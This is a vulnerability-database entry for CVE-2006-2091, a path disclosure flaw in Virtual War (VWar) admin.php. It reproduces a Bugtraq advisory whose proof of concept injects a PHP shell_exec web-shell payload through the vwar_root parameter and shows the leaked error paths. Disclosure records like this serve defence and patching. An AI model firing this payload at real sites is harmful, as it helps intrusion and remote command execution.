Virtual War (VWar) admin.php 信息泄露漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1195174 漏洞类型 未知
发布时间 2006-04-29 更新时间 2006-04-29
CVE编号 CVE-2006-2091 CNNVD-ID CNNVD-200604-554
漏洞平台 N/A CVSS评分 5.0
|漏洞来源
https://www.securityfocus.com/bid/87672
https://cxsecurity.com/issue/WLB-2006050016
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200604-554
|漏洞详情
VirtualWar(VWar)1.5及1.2之前的版本中的admin.php允许远程攻击者借助于无效的vwar_root参数获取敏感信息,所述参数在错误信息中泄露了路径信息。
|漏洞EXP
SUMMARY : 
VWar is is a clan management system. It stores all clan members details. Logs match results and keeps track of upcomming matches. Using the links under the Vwar menu, you can view all clan members, view upcomming matches, view previous results, view clan statistics and members can log into Vwar to edit their own profile.

============================================================

ISSUE: 
The recent exploit provided by aliHackers for VWar (VWar <= ver 1.21 Remote Code Execution Exploit #) 
has also another affect on the higher unptached versions of vWAR such as v1.5 and also on versions less than 1.2 .
Apart from the successful code execution exploit even if the expliot fails still running the following code on the web browser shows the full path of the installed modules even if the remote php shell is not acheived.

===========================================================

POC :
http://www.anyvwarsite.com/[PATH VWAR]/[PATH TO ADMINMODULE]/admin.php?vwar_root=%3C?shell_exec($_GET[cmd]);?%3E

Impact : # The following error message is displayed on the web browser.

Warning: main(includes/functions_admin.php): failed to open stream: No such file or directory in /home/fitchett/public_html/vwar/admin/admin.php on line 23

Warning: main(includes/functions_admin.php): failed to open stream: No such file or directory in /home/fitchett/public_html/vwar/admin/admin.php on line 23

Fatal error: main(): Failed opening required '<?shell_exec($_GET[cmd]);?>includes/functions_admin.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/fitchett/public_html/vwar/admin/admin.php on line 23

The path discolsure can aid an attacker for further code injections and run artibary commands via web browser. This vulnerability is tested on v1.2 and less whereas many other unpatched higher versions like v1.5 also shows the same error .
|受影响的产品
VWar Virtual War 1.5 VWar Virtual War 1.1.8 VWar Virtual War 1.1.7 VWar Virtual War 1.1.6 VWar Virtual War 1.1.5 VWar Virtual War 1.1.4 VWar Virtual War
|参考资料

来源:BUGTRAQ
名称:20060423VWarPathDisclosure
链接:http://www.securityfocus.com/archive/1/archive/1/431900/100/0/threaded
来源:XF
名称:virtualwar-admin-path-disclosure(26006)
链接:http://xforce.iss.net/xforce/xfdb/26006
来源:SREASON
名称:818
链接:http://securityreason.com/securityalert/818